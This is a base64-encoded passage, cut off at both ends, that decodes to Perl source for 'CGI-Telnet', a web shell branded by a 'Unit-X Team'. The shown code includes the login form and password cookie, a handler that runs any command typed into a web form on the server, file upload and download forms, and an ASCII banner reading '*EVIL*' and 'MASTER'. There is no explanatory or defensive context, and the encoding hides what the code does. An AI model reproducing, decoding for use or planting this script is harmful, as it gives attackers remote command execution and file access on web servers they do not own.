cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7CgkJCSRsaXN0WyRpXSA9fiBz
L14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsK
CQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQp
Ly9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtl
eX0gPSAkdmFsOwoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVk
LCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRp
ICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkg
PSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhl
eCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkk
aW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49
ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1M
IFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMg
c2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIK
ewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIg
PX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRl
bnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0
bGU+VW5pdC1YIFRlYW08L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxv
YWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIw
IiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxl
IGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+
Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0i
Y2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwv
dGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBj
b2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBVbml0LXggVGVhbSBDb25uZWN0ZWQgdG8gJFNl
cnZlck5hbWU8L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29s
b3I9IiNDMkJGQTUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgo8YSBocmVmPSIkU2Ny
aXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9h
PiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50
RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291
dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJVTklUWF9URUFNQEhPVE1BSUwuQ09NIj5IZWxw
PC9hPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiMwMDk5MDAiIHNp
emU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4g
U2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1l
c3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19fX18gIF9fX19f
ICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXwovICBfXyBcfCAgX18gXHxf
ICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAgICAgICAgfCB8CnwgLyAgXC98IHwg
IFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8IHxfCnwgfCAg
ICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9f
fAp8IFxfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8IHwgfCB8fCAg
X18vfCB8XwogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8X3wg
fF98IFxfX198IFxfX3wgMS4wCgo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAg
ICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4
MzAwIj6pIDIwMDMsIFVuaXQtWCBUZWFtPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAg
ICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAg
LyAgIFVOSVQtWCAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAg
ICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXyko
IHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8g
ICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19f
X19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzAw
OTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwqRVZJTCp8PC9mb250Pjxmb250
IGNvbG9yPSIjMDA5OTAwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48
Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250
IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5AOEA4PC9m
b250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+
Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxNQVNURVIvLXw8L2Zv
bnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2Zv
bnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAv
CiAgICAgICAoQCAgICAgICAgICAgYC0tLS0tLS0tYAogICAgICAgICAgICAgPC9mb250Pjxmb250
IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlcjwvZm9udD48L3By
ZT4KJDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpD
b25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+
JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3Nh
Z2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29k
ZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+
PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBI
VE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRM
b2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBP
U1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
YSIgdmFsdWU9ImxvZ2luIj4KbG9naW46IGFkbWluPGJyPgpwYXNzd29yZDo8aW5wdXQgdHlwZT0i
cGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8
L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhl
IGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu
dFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhl
IGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycn
fQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9
IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBj
b29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2ll
c3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUg
c2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIg
UHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZv
cmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMg
TG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2ll
OiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFk
ZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50
TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
IFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dv
cmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8g
cnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBh
c3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNl
cgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbgp7Cglp
ZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXBy
aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFn
ZUhlYWRlcigiYyIpOwoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VG
b290ZXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhl
YWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIi
KSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVz
c2FnZTsKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu
dENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7
Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0
aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5w
dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0Cjxp
bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVu
dGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJp
bnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMK
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9t
cHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3Vy
cmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9
IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt
ZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIg
dmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5w
dXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5w
dXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRG
aWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlth
ZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4K
PGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NU
IiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5h
bWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9u
czogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRl
Ij4KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJz
cDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVu
IiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3Ig
YSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1l
ZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2
ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDAp
OwoJCXByaW50IDw8RU5EOwo8L3htcD4KPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0
aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEK
PGNvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290
ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24g
aXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2Yg
dGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFu
ZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHku
IEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJu
YWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhl
Y3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5v
dCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5v
dCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5k
CnsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2Ug
ZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRo
ZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgoJCSRPbGREaXIg
PSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAu
ImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGAp
OwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQ
cm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQs
IGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0
ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJl
bnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1w
PiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5k
LiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1h
bmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRT
aG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJ
CSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1h
bmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4p
JC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91
dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9
CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0K
CSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBj
b250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNw
ZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVh
dHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAx
OiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoj
